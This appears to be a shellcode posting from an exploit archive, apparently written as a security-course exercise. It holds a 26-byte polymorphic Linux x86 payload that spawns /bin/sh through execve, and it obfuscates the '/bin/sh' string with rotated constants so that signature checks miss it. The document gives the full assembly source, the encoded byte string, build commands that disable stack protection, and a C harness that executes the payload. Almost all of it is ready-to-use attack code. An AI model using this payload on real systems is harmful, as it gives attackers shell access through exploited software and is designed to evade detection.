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Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (26 bytes)
[/*
################### Description ###################
; Title : Polymorphic execve /bin/sh - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/sh shell
; OS : Linux
; Arch : x86
; Size : 26 bytes
#################### sh.nasm ######################
global _start
section .text
_start:
; zero out EAX
xor eax,eax
push eax
; push (/bin/sh) to the stack
mov edi, 0x343997B7
rol edi, 1
push edi
mov esi, 0xD2C45E5E
ror esi, 1
push esi
; ping kernel!
lea ebx, [esp]
mov al,0xb
int 0x80
################### sh binary #####################
nasm -f elf32 -o sh.o sh.nasm
ld -z execstack -o sh sh.o
################## Shellcode #####################
objdump -d sh -M intel
################### Compile #####################
gcc -fno-stack-protector -z execstack sh.c -o sh
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\xbf\xb7\x97\x39\x34\xd1\xc7\x57\xbe\x5e\x5e\xc4\xd2\xd1\xce\x56\x8d\x1c\x24\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
# 0day.today [2024-11-16] #